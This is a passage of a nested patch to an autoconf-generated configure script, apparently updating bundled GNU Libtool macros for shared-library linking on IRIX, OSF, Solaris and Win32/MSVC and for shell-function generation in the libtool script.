++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9189,7 +9780,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9208,9 +9799,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -9786,8 +10377,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -9820,13 +10412,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -10746,7 +11396,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10749 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10790,10 +11440,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -10852,7 +11502,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10855 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10896,10 +11546,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -12385,13 +13035,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -12406,14 +13063,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -12446,12 +13106,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -12506,8 +13166,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -12517,12 +13182,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -12538,7 +13205,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -12574,6 +13240,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -13172,7 +13839,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -13275,19 +13943,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -13317,6 +14008,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -13326,6 +14023,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -13440,12 +14140,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -13532,9 +14232,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -13550,6 +14247,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -13582,210 +14282,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
